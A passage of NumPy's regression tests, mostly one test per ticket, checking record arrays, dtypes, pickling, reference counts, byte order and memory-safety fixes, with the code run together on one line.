test_rec_iterate(self,level=rlevel): """Ticket #160""" descr = np.dtype([('i', int), ('f', float), ('s', '|S3')]) x = np.rec.array([(1, 1.1, '1.0'), (2, 2.2, '2.0')], dtype=descr) x[0].tolist() [i for i in x[0]] def test_unicode_string_comparison(self,level=rlevel): """Ticket #190""" a = np.array('hello', np.unicode_) b = np.array('world') a == b def test_tostring_FORTRANORDER_discontiguous(self,level=rlevel): """Fix in r2836""" # Create discontiguous Fortran-ordered array x = np.array(np.random.rand(3, 3), order='F')[:, :2] assert_array_almost_equal(x.ravel(), np.fromstring(x.tostring())) def test_flat_assignment(self,level=rlevel): """Correct behaviour of ticket #194""" x = np.empty((3, 1)) x.flat = np.arange(3) assert_array_almost_equal(x, [[0], [1], [2]]) x.flat = np.arange(3, dtype=float) assert_array_almost_equal(x, [[0], [1], [2]]) def test_broadcast_flat_assignment(self,level=rlevel): """Ticket #194""" x = np.empty((3, 1)) def bfa(): x[:] = np.arange(3) def bfb(): x[:] = np.arange(3, dtype=float) self.assertRaises(ValueError, bfa) self.assertRaises(ValueError, bfb) def test_nonarray_assignment(self): # See also Issue gh-2870, test for nonarray assignment # and equivalent unsafe casted array assignment a = np.arange(10) b = np.ones(10, dtype=bool) r = np.arange(10) def assign(a, b, c): a[b] = c assert_raises(ValueError, assign, a, b, np.nan) a[b] = np.array(np.nan) # but not this. assert_raises(ValueError, assign, a, r, np.nan) a[r] = np.array(np.nan) def test_unpickle_dtype_with_object(self,level=rlevel): """Implemented in r2840""" dt = np.dtype([('x', int), ('y', np.object_), ('z', 'O')]) f = BytesIO() pickle.dump(dt, f) f.seek(0) dt_ = pickle.load(f) f.close() assert_equal(dt, dt_) def test_mem_array_creation_invalid_specification(self,level=rlevel): """Ticket #196""" dt = np.dtype([('x', int), ('y', np.object_)]) # Wrong way self.assertRaises(ValueError, np.array, [1, 'object'], dt) # Correct way np.array([(1, 'object')], dt) def test_recarray_single_element(self,level=rlevel): """Ticket #202""" a = np.array([1, 2, 3], dtype=np.int32) b = a.copy() r = np.rec.array(a, shape=1, formats=['3i4'], names=['d']) assert_array_equal(a, b) assert_equal(a, r[0][0]) def test_zero_sized_array_indexing(self,level=rlevel): """Ticket #205""" tmp = np.array([]) def index_tmp(): tmp[np.array(10)] self.assertRaises(IndexError, index_tmp) def test_chararray_rstrip(self,level=rlevel): """Ticket #222""" x = np.chararray((1,), 5) x[0] = asbytes('a ') x = x.rstrip() assert_equal(x[0], asbytes('a')) def test_object_array_shape(self,level=rlevel): """Ticket #239""" assert_equal(np.array([[1, 2], 3, 4], dtype=object).shape, (3,)) assert_equal(np.array([[1, 2], [3, 4]], dtype=object).shape, (2, 2)) assert_equal(np.array([(1, 2), (3, 4)], dtype=object).shape, (2, 2)) assert_equal(np.array([], dtype=object).shape, (0,)) assert_equal(np.array([[], [], []], dtype=object).shape, (3, 0)) assert_equal(np.array([[3, 4], [5, 6], None], dtype=object).shape, (3,)) def test_mem_around(self,level=rlevel): """Ticket #243""" x = np.zeros((1,)) y = [0] decimal = 6 np.around(abs(x-y), decimal) <= 10.0**(-decimal) def test_character_array_strip(self,level=rlevel): """Ticket #246""" x = np.char.array(("x", "x ", "x ")) for c in x: assert_equal(c, "x") def test_lexsort(self,level=rlevel): """Lexsort memory error""" v = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) assert_equal(np.lexsort(v), 0) def test_pickle_dtype(self,level=rlevel): """Ticket #251""" pickle.dumps(np.float) def test_swap_real(self, level=rlevel): """Ticket #265""" assert_equal(np.arange(4, dtype='>c8').imag.max(), 0.0) assert_equal(np.arange(4, dtype='<c8').imag.max(), 0.0) assert_equal(np.arange(4, dtype='>c8').real.max(), 3.0) assert_equal(np.arange(4, dtype='<c8').real.max(), 3.0) def test_object_array_from_list(self, level=rlevel): """Ticket #270""" a = np.array([1, 'A', None]) def test_multiple_assign(self, level=rlevel): """Ticket #273""" a = np.zeros((3, 1), int) a[[1, 2]] = 1 def test_empty_array_type(self, level=rlevel): assert_equal(np.array([]).dtype, np.zeros(0).dtype) def test_void_copyswap(self, level=rlevel): dt = np.dtype([('one', '<i4'), ('two', '<i4')]) x = np.array((1, 2), dtype=dt) x = x.byteswap() assert_(x['one'] > 1 and x['two'] > 2) def test_method_args(self, level=rlevel): # Make sure methods and functions have same default axis # keyword and arguments funcs1= ['argmax', 'argmin', 'sum', ('product', 'prod'), ('sometrue', 'any'), ('alltrue', 'all'), 'cumsum', ('cumproduct', 'cumprod'), 'ptp', 'cumprod', 'prod', 'std', 'var', 'mean', 'round', 'min', 'max', 'argsort', 'sort'] funcs2 = ['compress', 'take', 'repeat'] for func in funcs1: arr = np.random.rand(8, 7) arr2 = arr.copy() if isinstance(func, tuple): func_meth = func[1] func = func[0] else: func_meth = func res1 = getattr(arr, func_meth)() res2 = getattr(np, func)(arr2) if res1 is None: assert_(abs(arr-res2).max() < 1e-8, func) else: assert_(abs(res1-res2).max() < 1e-8, func) for func in funcs2: arr1 = np.random.rand(8, 7) arr2 = np.random.rand(8, 7) res1 = None if func == 'compress': arr1 = arr1.ravel() res1 = getattr(arr2, func)(arr1) else: arr2 = (15*arr2).astype(int).ravel() if res1 is None: res1 = getattr(arr1, func)(arr2) res2 = getattr(np, func)(arr1, arr2) assert_(abs(res1-res2).max() < 1e-8, func) def test_mem_lexsort_strings(self, level=rlevel): """Ticket #298""" lst = ['abc', 'cde', 'fgh'] np.lexsort((lst,)) def test_fancy_index(self, level=rlevel): """Ticket #302""" x = np.array([1, 2])[np.array([0])] assert_equal(x.shape, (1,)) def test_recarray_copy(self, level=rlevel): """Ticket #312""" dt = [('x', np.int16), ('y', np.float64)] ra = np.array([(1, 2.3)], dtype=dt) rb = np.rec.array(ra, dtype=dt) rb['x'] = 2. assert_(ra['x'] != rb['x']) def test_rec_fromarray(self, level=rlevel): """Ticket #322""" x1 = np.array([[1, 2], [3, 4], [5, 6]]) x2 = np.array(['a', 'dd', 'xyz']) x3 = np.array([1.1, 2, 3]) np.rec.fromarrays([x1, x2, x3], formats="(2,)i4,a3,f8") def test_object_array_assign(self, level=rlevel): x = np.empty((2, 2), object) x.flat[2] = (1, 2, 3) assert_equal(x.flat[2], (1, 2, 3)) def test_ndmin_float64(self, level=rlevel): """Ticket #324""" x = np.array([1, 2, 3], dtype=np.float64) assert_equal(np.array(x, dtype=np.float32, ndmin=2).ndim, 2) assert_equal(np.array(x, dtype=np.float64, ndmin=2).ndim, 2) def test_ndmin_order(self, level=rlevel): """Issue #465 and related checks""" assert_(np.array([1, 2], order='C', ndmin=3).flags.c_contiguous) assert_(np.array([1, 2], order='F', ndmin=3).flags.f_contiguous) assert_(np.array(np.ones((2, 2), order='F'), ndmin=3).flags.f_contiguous) assert_(np.array(np.ones((2, 2), order='C'), ndmin=3).flags.c_contiguous) def test_mem_axis_minimization(self, level=rlevel): """Ticket #327""" data = np.arange(5) data = np.add.outer(data, data) def test_mem_float_imag(self, level=rlevel): """Ticket #330""" np.float64(1.0).imag def test_dtype_tuple(self, level=rlevel): """Ticket #334""" assert_(np.dtype('i4') == np.dtype(('i4', ()))) def test_dtype_posttuple(self, level=rlevel): """Ticket #335""" np.dtype([('col1', '()i4')]) def test_numeric_carray_compare(self, level=rlevel): """Ticket #341""" assert_equal(np.array(['X'], 'c'), asbytes('X')) def test_string_array_size(self, level=rlevel): """Ticket #342""" self.assertRaises(ValueError, np.array, [['X'], ['X', 'X', 'X']], '|S1') def test_dtype_repr(self, level=rlevel): """Ticket #344""" dt1=np.dtype(('uint32', 2)) dt2=np.dtype(('uint32', (2,))) assert_equal(dt1.__repr__(), dt2.__repr__()) def test_reshape_order(self, level=rlevel): """Make sure reshape order works.""" a = np.arange(6).reshape(2, 3, order='F') assert_equal(a, [[0, 2, 4], [1, 3, 5]]) a = np.array([[1, 2], [3, 4], [5, 6], [7, 8]]) b = a[:, 1] assert_equal(b.reshape(2, 2, order='F'), [[2, 6], [4, 8]]) def test_reshape_zero_strides(self, level=rlevel): """Issue #380, test reshaping of zero strided arrays""" a = np.ones(1) a = np.lib.stride_tricks.as_strided(a, shape=(5,), strides=(0,)) assert_(a.reshape(5, 1).strides[0] == 0) def test_reshape_zero_size(self, level=rlevel): """Github Issue #2700, setting shape failed for 0-sized arrays""" a = np.ones((0, 2)) a.shape = (-1, 2) # Cannot test if NPY_RELAXED_STRIDES_CHECKING changes the strides. # With NPY_RELAXED_STRIDES_CHECKING the test becomes superfluous. @dec.skipif(np.ones(1).strides[0] == np.iinfo(np.intp).max) def test_reshape_trailing_ones_strides(self): # Github issue gh-2949, bad strides for trailing ones of new shape a = np.zeros(12, dtype=np.int32)[::2] # not contiguous strides_c = (16, 8, 8, 8) strides_f = (8, 24, 48, 48) assert_equal(a.reshape(3, 2, 1, 1).strides, strides_c) assert_equal(a.reshape(3, 2, 1, 1, order='F').strides, strides_f) assert_equal(np.array(0, dtype=np.int32).reshape(1, 1).strides, (4, 4)) def test_repeat_discont(self, level=rlevel): """Ticket #352""" a = np.arange(12).reshape(4, 3)[:, 2] assert_equal(a.repeat(3), [2, 2, 2, 5, 5, 5, 8, 8, 8, 11, 11, 11]) def test_array_index(self, level=rlevel): """Make sure optimization is not called in this case.""" a = np.array([1, 2, 3]) a2 = np.array([[1, 2, 3]]) assert_equal(a[np.where(a==3)], a2[np.where(a2==3)]) def test_object_argmax(self, level=rlevel): a = np.array([1, 2, 3], dtype=object) assert_(a.argmax() == 2) def test_recarray_fields(self, level=rlevel): """Ticket #372""" dt0 = np.dtype([('f0', 'i4'), ('f1', 'i4')]) dt1 = np.dtype([('f0', 'i8'), ('f1', 'i8')]) for a in [np.array([(1, 2), (3, 4)], "i4,i4"), np.rec.array([(1, 2), (3, 4)], "i4,i4"), np.rec.array([(1, 2), (3, 4)]), np.rec.fromarrays([(1, 2), (3, 4)], "i4,i4"), np.rec.fromarrays([(1, 2), (3, 4)])]: assert_(a.dtype in [dt0, dt1]) def test_random_shuffle(self, level=rlevel): """Ticket #374""" a = np.arange(5).reshape((5, 1)) b = a.copy() np.random.shuffle(b) assert_equal(np.sort(b, axis=0), a) def test_refcount_vdot(self, level=rlevel): """Changeset #3443""" _assert_valid_refcount(np.vdot) def test_startswith(self, level=rlevel): ca = np.char.array(['Hi', 'There']) assert_equal(ca.startswith('H'), [True, False]) def test_noncommutative_reduce_accumulate(self, level=rlevel): """Ticket #413""" tosubtract = np.arange(5) todivide = np.array([2.0, 0.5, 0.25]) assert_equal(np.subtract.reduce(tosubtract), -10) assert_equal(np.divide.reduce(todivide), 16.0) assert_array_equal(np.subtract.accumulate(tosubtract), np.array([0, -1, -3, -6, -10])) assert_array_equal(np.divide.accumulate(todivide), np.array([2., 4., 16.])) def test_convolve_empty(self, level=rlevel): """Convolve should raise an error for empty input array.""" self.assertRaises(ValueError, np.convolve, [], [1]) self.assertRaises(ValueError, np.convolve, [1], []) def test_multidim_byteswap(self, level=rlevel): """Ticket #449""" r=np.array([(1, (0, 1, 2))], dtype="i2,3i2") assert_array_equal(r.byteswap(), np.array([(256, (0, 256, 512))], r.dtype)) def test_string_NULL(self, level=rlevel): """Changeset 3557""" assert_equal(np.array("a\x00\x0b\x0c\x00").item(), 'a\x00\x0b\x0c') def test_junk_in_string_fields_of_recarray(self, level=rlevel): """Ticket #483""" r = np.array([[asbytes('abc')]], dtype=[('var1', '|S20')]) assert_(asbytes(r['var1'][0][0]) == asbytes('abc')) def test_take_output(self, level=rlevel): """Ensure that 'take' honours output parameter.""" x = np.arange(12).reshape((3, 4)) a = np.take(x, [0, 2], axis=1) b = np.zeros_like(a) np.take(x, [0, 2], axis=1, out=b) assert_array_equal(a, b) def test_take_object_fail(self): # Issue gh-3001 d = 123. a = np.array([d, 1], dtype=object) ref_d = sys.getrefcount(d) try: a.take([0, 100]) except IndexError: pass assert_(ref_d == sys.getrefcount(d)) def test_array_str_64bit(self, level=rlevel): """Ticket #501""" s = np.array([1, np.nan], dtype=np.float64) with np.errstate(all='raise'): sstr = np.array_str(s) def test_frompyfunc_endian(self, level=rlevel): """Ticket #503""" from math import radians uradians = np.frompyfunc(radians, 1, 1) big_endian = np.array([83.4, 83.5], dtype='>f8') little_endian = np.array([83.4, 83.5], dtype='<f8') assert_almost_equal(uradians(big_endian).astype(float), uradians(little_endian).astype(float)) def test_mem_string_arr(self, level=rlevel): """Ticket #514""" s = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" t = [] np.hstack((t, s )) def test_arr_transpose(self, level=rlevel): """Ticket #516""" x = np.random.rand(*(2,)*16) y = x.transpose(list(range(16))) def test_string_mergesort(self, level=rlevel): """Ticket #540""" x = np.array(['a']*32) assert_array_equal(x.argsort(kind='m'), np.arange(32)) def test_argmax_byteorder(self, level=rlevel): """Ticket #546""" a = np.arange(3, dtype='>f') assert_(a[a.argmax()] == a.max()) def test_rand_seed(self, level=rlevel): """Ticket #555""" for l in np.arange(4): np.random.seed(l) def test_mem_deallocation_leak(self, level=rlevel): """Ticket #562""" a = np.zeros(5, dtype=float) b = np.array(a, dtype=float) del a, b def test_mem_on_invalid_dtype(self): "Ticket #583" self.assertRaises(ValueError, np.fromiter, [['12', ''], ['13', '']], str) def test_dot_negative_stride(self, level=rlevel): """Ticket #588""" x = np.array([[1, 5, 25, 125., 625]]) y = np.array([[20.], [160.], [640.], [1280.], [1024.]]) z = y[::-1].copy() y2 = y[::-1] assert_equal(np.dot(x, z), np.dot(x, y2)) def test_object_casting(self, level=rlevel): # This used to trigger the object-type version of # the bitwise_or operation, because float64 -> object # casting succeeds def rs(): x = np.ones([484, 286]) y = np.zeros([484, 286]) x |= y self.assertRaises(TypeError, rs) def test_unicode_scalar(self, level=rlevel): """Ticket #600""" x = np.array(["DROND", "DROND1"], dtype="U6") el = x[1] new = pickle.loads(pickle.dumps(el)) assert_equal(new, el) def test_arange_non_native_dtype(self, level=rlevel): """Ticket #616""" for T in ('>f4', '<f4'): dt = np.dtype(T) assert_equal(np.arange(0, dtype=dt).dtype, dt) assert_equal(np.arange(0.5, dtype=dt).dtype, dt) assert_equal(np.arange(5, dtype=dt).dtype, dt) def test_bool_indexing_invalid_nr_elements(self, level=rlevel): s = np.ones(10, dtype=float) x = np.array((15,), dtype=float) def ia(x, s, v): x[(s>0)]=v self.assertRaises(ValueError, ia, x, s, np.zeros(9, dtype=float)) self.assertRaises(ValueError, ia, x, s, np.zeros(11, dtype=float)) def test_mem_scalar_indexing(self, level=rlevel): """Ticket #603""" x = np.array([0], dtype=float) index = np.array(0, dtype=np.int32) x[index] def test_binary_repr_0_width(self, level=rlevel): assert_equal(np.binary_repr(0, width=3), '000') def test_fromstring(self, level=rlevel): assert_equal(np.fromstring("12:09:09", dtype=int, sep=":"), [12, 9, 9]) def test_searchsorted_variable_length(self, level=rlevel): x = np.array(['a', 'aa', 'b']) y = np.array(['d', 'e']) assert_equal(x.searchsorted(y), [3, 3]) def test_string_argsort_with_zeros(self, level=rlevel): """Check argsort for strings containing zeros.""" x = np.fromstring("\x00\x02\x00\x01", dtype="|S2") assert_array_equal(x.argsort(kind='m'), np.array([1, 0])) assert_array_equal(x.argsort(kind='q'), np.array([1, 0])) def test_string_sort_with_zeros(self, level=rlevel): """Check sort for strings containing zeros.""" x = np.fromstring("\x00\x02\x00\x01", dtype="|S2") y = np.fromstring("\x00\x01\x00\x02", dtype="|S2") assert_array_equal(np.sort(x, kind="q"), y) def test_copy_detection_zero_dim(self, level=rlevel): """Ticket #658""" np.indices((0, 3, 4)).T.reshape(-1, 3) def test_flat_byteorder(self, level=rlevel): """Ticket #657""" x = np.arange(10) assert_array_equal(x.astype('>i4'), x.astype('<i4').flat[:]) assert_array_equal(x.astype('>i4').flat[:], x.astype('<i4')) def test_uint64_from_negative(self, level=rlevel) : assert_equal(np.uint64(-2), np.uint64(18446744073709551614)) def test_sign_bit(self, level=rlevel): x = np.array([0, -0.0, 0]) assert_equal(str(np.abs(x)), '[ 0. 0. 0.]') def test_flat_index_byteswap(self, level=rlevel): for dt in (np.dtype('<i4'), np.dtype('>i4')): x = np.array([-1, 0, 1], dtype=dt) assert_equal(x.flat[0].dtype, x[0].dtype) def test_copy_detection_corner_case(self, level=rlevel): """Ticket #658""" np.indices((0, 3, 4)).T.reshape(-1, 3) # Cannot test if NPY_RELAXED_STRIDES_CHECKING changes the strides. # With NPY_RELAXED_STRIDES_CHECKING the test becomes superfluous, # 0-sized reshape itself is tested elsewhere. @dec.skipif(np.ones(1).strides[0] == np.iinfo(np.intp).max) def test_copy_detection_corner_case2(self, level=rlevel): """Ticket #771: strides are not set correctly when reshaping 0-sized arrays""" b = np.indices((0, 3, 4)).T.reshape(-1, 3) assert_equal(b.strides, (3 * b.itemsize, b.itemsize)) def test_object_array_refcounting(self, level=rlevel): """Ticket #633""" if not hasattr(sys, 'getrefcount'): return # NB. this is probably CPython-specific cnt = sys.getrefcount a = object() b = object() c = object() cnt0_a = cnt(a) cnt0_b = cnt(b) cnt0_c = cnt(c) # -- 0d -> 1d broadcasted slice assignment arr = np.zeros(5, dtype=np.object_) arr[:] = a assert_equal(cnt(a), cnt0_a + 5) arr[:] = b assert_equal(cnt(a), cnt0_a) assert_equal(cnt(b), cnt0_b + 5) arr[:2] = c assert_equal(cnt(b), cnt0_b + 3) assert_equal(cnt(c), cnt0_c + 2) del arr # -- 1d -> 2d broadcasted slice assignment arr = np.zeros((5, 2), dtype=np.object_) arr0 = np.zeros(2, dtype=np.object_) arr0[0] = a assert_(cnt(a) == cnt0_a + 1) arr0[1] = b assert_(cnt(b) == cnt0_b + 1) arr[:,:] = arr0 assert_(cnt(a) == cnt0_a + 6) assert_(cnt(b) == cnt0_b + 6) arr[:, 0] = None assert_(cnt(a) == cnt0_a + 1) del arr, arr0 # -- 2d copying + flattening arr = np.zeros((5, 2), dtype=np.object_) arr[:, 0] = a arr[:, 1] = b assert_(cnt(a) == cnt0_a + 5) assert_(cnt(b) == cnt0_b + 5) arr2 = arr.copy() assert_(cnt(a) == cnt0_a + 10) assert_(cnt(b) == cnt0_b + 10) arr2 = arr[:, 0].copy() assert_(cnt(a) == cnt0_a + 10) assert_(cnt(b) == cnt0_b + 5) arr2 = arr.flatten() assert_(cnt(a) == cnt0_a + 10) assert_(cnt(b) == cnt0_b + 10) del arr, arr2 # -- concatenate, repeat, take, choose arr1 = np.zeros((5, 1), dtype=np.object_) arr2 = np.zeros((5, 1), dtype=np.object_) arr1[...] = a arr2[...] = b assert_(cnt(a) == cnt0_a + 5) assert_(cnt(b) == cnt0_b + 5) arr3 = np.concatenate((arr1, arr2)) assert_(cnt(a) == cnt0_a + 5 + 5) assert_(cnt(b) == cnt0_b + 5 + 5) arr3 = arr1.repeat(3, axis=0) assert_(cnt(a) == cnt0_a + 5 + 3*5) arr3 = arr1.take([1, 2, 3], axis=0) assert_(cnt(a) == cnt0_a + 5 + 3) x = np.array([[0], [1], [0], [1], [1]], int) arr3 = x.choose(arr1, arr2) assert_(cnt(a) == cnt0_a + 5 + 2) assert_(cnt(b) == cnt0_b + 5 + 3) def test_mem_custom_float_to_array(self, level=rlevel): """Ticket 702""" class MyFloat(object): def __float__(self): return 1.0 tmp = np.atleast_1d([MyFloat()]) tmp2 = tmp.astype(float) def test_object_array_refcount_self_assign(self, level=rlevel): """Ticket #711""" class VictimObject(object): deleted = False def __del__(self): self.deleted = True d = VictimObject() arr = np.zeros(5, dtype=np.object_) arr[:] = d del d arr[:] = arr # refcount of 'd' might hit zero here assert_(not arr[0].deleted) arr[:] = arr # trying to induce a segfault by doing it again... assert_(not arr[0].deleted) def test_mem_fromiter_invalid_dtype_string(self, level=rlevel): x = [1, 2, 3] self.assertRaises(ValueError, np.fromiter, [xi for xi in x], dtype='S') def test_reduce_big_object_array(self, level=rlevel): """Ticket #713""" oldsize = np.setbufsize(10*16) a = np.array([None]*161, object) assert_(not np.any(a)) np.setbufsize(oldsize) def test_mem_0d_array_index(self, level=rlevel): """Ticket #714""" np.zeros(10)[np.array(0)] def test_floats_from_string(self, level=rlevel): """Ticket #640, floats from string""" fsingle = np.single('1.234') fdouble = np.double('1.234') flongdouble = np.longdouble('1.234') assert_almost_equal(fsingle, 1.234) assert_almost_equal(fdouble, 1.234) assert_almost_equal(flongdouble, 1.234) def test_nonnative_endian_fill(self, level=rlevel): """ Non-native endian arrays were incorrectly filled with scalars before r5034. """ if sys.byteorder == 'little': dtype = np.dtype('>i4') else: dtype = np.dtype('<i4') x = np.empty([1], dtype=dtype) x.fill(1) assert_equal(x, np.array([1], dtype=dtype)) def test_dot_alignment_sse2(self, level=rlevel): """Test for ticket #551, changeset r5140""" x = np.zeros((30, 40)) y = pickle.loads(pickle.dumps(x)) # y is now typically not aligned on a 8-byte boundary z = np.ones((1, y.shape[0])) # This shouldn't cause a segmentation fault: np.dot(z, y) def test_astype_copy(self, level=rlevel): """Ticket #788, changeset r5155""" # The test data file was generated by scipy.io.savemat. # The dtype is float64, but the isbuiltin attribute is 0. data_dir = path.join(path.dirname(__file__), 'data') filename = path.join(data_dir, "astype_copy.pkl") if sys.version_info[0] >= 3: f = open(filename, 'rb') xp = pickle.load(f, encoding='latin1') f.close() else: f = open(filename) xp = pickle.load(f) f.close() xpd = xp.astype(np.float64) assert_((xp.__array_interface__['data'][0] != xpd.__array_interface__['data'][0])) def test_compress_small_type(self, level=rlevel): """Ticket #789, changeset 5217. """ # compress with out argument segfaulted if cannot cast safely import numpy as np a = np.array([[1, 2], [3, 4]]) b = np.zeros((2, 1), dtype = np.single) try: a.compress([True, False], axis = 1, out = b) raise AssertionError("compress with an out which cannot be " \ "safely casted should not return "\ "successfully") except TypeError: pass def test_attributes(self, level=rlevel): """Ticket #791 """ class TestArray(np.ndarray): def __new__(cls, data, info): result = np.array(data) result = result.view(cls) result.info = info return result def __array_finalize__(self, obj): self.info = getattr(obj, 'info', '') dat = TestArray([[1, 2, 3, 4], [5, 6, 7, 8]], 'jubba') assert_(dat.info == 'jubba') dat.resize((4, 2)) assert_(dat.info == 'jubba') dat.sort() assert_(dat.info == 'jubba') dat.fill(2) assert_(dat.info == 'jubba') dat.put([2, 3, 4], [6, 3, 4]) assert_(dat.info == 'jubba') dat.setfield(4, np.int32, 0) assert_(dat.info == 'jubba') dat.setflags() assert_(dat.info == 'jubba') assert_(dat.all(1).info == 'jubba') assert_(dat.any(1).info == 'jubba') assert_(dat.argmax(1).info == 'jubba') assert_(dat.argmin(1).info == 'jubba') assert_(dat.argsort(1).info == 'jubba') assert_(dat.astype(TestArray).info == 'jubba') assert_(dat.byteswap().info == 'jubba') assert_(dat.clip(2, 7).info == 'jubba') assert_(dat.compress([0, 1, 1]).info == 'jubba') assert_(dat.conj().info == 'jubba') assert_(dat.conjugate().info == 'jubba') assert_(dat.copy().info == 'jubba') dat2 = TestArray([2, 3, 1, 0], 'jubba') choices = [[0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33]] assert_(dat2.choose(choices).info == 'jubba') assert_(dat.cumprod(1).info == 'jubba') assert_(dat.cumsum(1).info == 'jubba') assert_(dat.diagonal().info == 'jubba') assert_(dat.flatten().info == 'jubba') assert_(dat.getfield(np.int32, 0).info == 'jubba') assert_(dat.imag.info == 'jubba') assert_(dat.max(1).info == 'jubba') assert_(dat.mean(1).info == 'jubba') assert_(dat.min(1).info == 'jubba') assert_(dat.newbyteorder().info == 'jubba') assert_(dat.nonzero()[0].info == 'jubba') assert_(dat.nonzero()[1].info == 'jubba') assert_(dat.prod(1).info == 'jubba') assert_(dat.ptp(1).info == 'jubba') assert_(dat.ravel().info == 'jubba') assert_(dat.real.info == 'jubba') assert_(dat.repeat(2).info == 'jubba') assert_(dat.reshape((2, 4)).info == 'jubba') assert_(dat.round().info == 'jubba') assert_(dat.squeeze().info == 'jubba') assert_(dat.std(1).info == 'jubba') assert_(dat.sum(1).info == 'jubba') assert_(dat.swapaxes(0, 1).info == 'jubba') assert_(dat.take([2, 3, 5]).info == 'jubba') assert_(dat.transpose().info == 'jubba') assert_(dat.T.info == 'jubba') assert_(dat.var(1).info == 'jubba') assert_(dat.view(TestArray).info == 'jubba') def test_recarray_tolist(self, level=rlevel): """Ticket #793, changeset r5215 """ # Comparisons fail for NaN, so we can't use random memory # for the test. buf = np.zeros(40, dtype=np.int8) a = np.recarray(2, formats="i4,f8,f8", names="id,x,y", buf=buf) b = a.tolist() assert_( a[0].tolist() == b[0]) assert_( a[1].tolist() == b[1]) def test_nonscalar_item_method(self): # Make sure that .item() fails graciously when it should a = np.arange(5) assert_raises(ValueError, a.item) def test_char_array_creation(self, level=rlevel): a = np.array('123', dtype='c') b = np.array(asbytes_nested(['1', '2', '3'])) assert_equal(a, b) def test_unaligned_unicode_access(self, level=rlevel) : """Ticket #825""" for i in range(1, 9) : msg = 'unicode offset: %d chars'%i t = np.dtype([('a', 'S%d'%i), ('b', 'U2')]) x = np.array([(asbytes('a'), sixu('b'))], dtype=t) if sys.version_info[0] >= 3: assert_equal(str(x), "[(b'a', 'b')]", err_msg=msg) else: assert_equal(str(x), "[('a', u'b')]", err_msg=msg) def test_sign_for_complex_nan(self, level=rlevel): """Ticket 794.""" with np.errstate(invalid='ignore'): C = np.array([-np.inf, -2+1j, 0, 2-1j, np.inf, np.nan]) have = np.sign(C) want = np.array([-1+0j, -1+0j, 0+0j, 1+0j, 1+0j, np.nan]) assert_equal(have, want) def test_for_equal_names(self, level=rlevel): """Ticket #674""" dt = np.dtype([('foo', float), ('bar', float)]) a = np.zeros(10, dt) b = list(a.dtype.names) b[0] = "notfoo" a.dtype.names = b assert_(a.dtype.names[0] == "notfoo") assert_(a.dtype.names[1] == "bar") def test_for_object_scalar_creation(self, level=rlevel): """Ticket #816""" a = np.object_() b = np.object_(3) b2 = np.object_(3.0) c = np.object_([4, 5]) d = np.object_([None, {}, []]) assert_(a is None) assert_(type(b) is int) assert_(type(b2) is float) assert_(type(c) is np.ndarray) assert_(c.dtype == object) assert_(d.dtype == object) def test_array_resize_method_system_error(self): """Ticket #840 - order should be an invalid keyword.""" x = np.array([[0, 1], [2, 3]]) self.assertRaises(TypeError, x.resize, (2, 2), order='C') def test_for_zero_length_in_choose(self, level=rlevel): "Ticket #882" a = np.array(1) self.assertRaises(ValueError, lambda x: x.choose([]), a) def test_array_ndmin_overflow(self): "Ticket #947." self.assertRaises(ValueError, lambda: np.array([1], ndmin=33)) def test_errobj_reference_leak(self, level=rlevel): """Ticket #955""" with np.errstate(all="ignore"): z = int(0) p = np.int32(-1) gc.collect() n_before = len(gc.get_objects()) z**p # this shouldn't leak a reference to errobj gc.collect() n_after = len(gc.get_objects()) assert_(n_before >= n_after, (n_before, n_after)) def test_void_scalar_with_titles(self, level=rlevel): """No ticket""" data = [('john', 4), ('mary', 5)] dtype1 = [(('source:yy', 'name'), 'O'), (('source:xx', 'id'), int)] arr = np.array(data, dtype=dtype1) assert_(arr[0][0] == 'john') assert_(arr[0][1] == 4) def test_void_scalar_constructor(self): #Issue #1550 #Create test string data, construct void scalar from data and assert #that void scalar contains original data. test_string = np.array("test") test_string_void_scalar = np.core.multiarray.scalar( np.dtype(("V", test_string.dtype.itemsize)), test_string.tostring()) assert_(test_string_void_scalar.view(test_string.dtype) == test_string) #Create record scalar, construct from data and assert that #reconstructed scalar is correct. test_record = np.ones((), "i,i") test_record_void_scalar = np.core.multiarray.scalar( test_record.dtype, test_record.tostring()) assert_(test_record_void_scalar == test_record) #Test pickle and unpickle of void and record scalars assert_(pickle.loads(pickle.dumps(test_string)) == test_string) assert_(pickle.loads(pickle.dumps(test_record)) == test_record) def test_blasdot_uninitialized_memory(self): """Ticket #950""" for m in [0, 1, 2]: for n in [0, 1, 2]: for k in range(3): # Try to ensure that x->data contains non-zero floats x = np.array([123456789e199], dtype=np.float64) x.resize((m, 0)) y = np.array([123456789e199], dtype=np.float64) y.resize((0, n)) # `dot` should just return zero (m,n) matrix z = np.dot(x, y) assert_(np.all(z == 0)) assert_(z.shape == (m, n)) def test_zeros(self): """Regression test for #1061.""" # Set a size which cannot fit into a 64 bits signed integer sz = 2 ** 64 good = 'Maximum allowed dimension exceeded' try: np.empty(sz) except ValueError as e: if not str(e) == good: self.fail("Got msg '%s', expected '%s'" % (e, good)) except Exception as e: self.fail("Got exception of type %s instead of ValueError" % type(e)) def test_huge_arange(self): """Regression test for #1062.""" # Set a size which cannot fit into a 64 bits signed integer sz = 2 ** 64 good = 'Maximum allowed size exceeded' try: a = np.arange(sz) self.assertTrue(np.size == sz) except ValueError as e: if not str(e) == good: self.fail("Got msg '%s', expected '%s'" % (e, good)) except Exception as e: self.fail("Got exception of type %s instead of ValueError" % type(e)) def test_fromiter_bytes(self): """Ticket #1058""" a = np.fromiter(list(range(10)), dtype='b') b = np.fromiter(list(range(10)), dtype='B') assert_(np.alltrue(a == np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]))) assert_(np.alltrue(b == np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]))) def test_array_from_sequence_scalar_array(self): """Ticket #1078: segfaults when creating an array with a sequence of 0d arrays.""" a = np.array((np.ones(2), np.array(2))) assert_equal(a.shape, (2,)) assert_equal(a.dtype, np.dtype(object)) assert_equal(a[0], np.ones(2)) assert_equal(a[1], np.array(2)) a = np.array(((1,), np.array(1))) assert_equal(a.shape, (2,)) assert_equal(a.dtype, np.dtype(object)) assert_equal(a[0], (1,)) assert_equal(a[1], np.array(1)) def test_array_from_sequence_scalar_array2(self): """Ticket #1081: weird array with strange input...""" t = np.array([np.array([]), np.array(0, object)]) assert_equal(t.shape, (2,)) assert_equal(t.dtype, np.dtype(object)) def test_array_too_big(self): """Ticket #1080.""" assert_raises(ValueError, np.zeros, 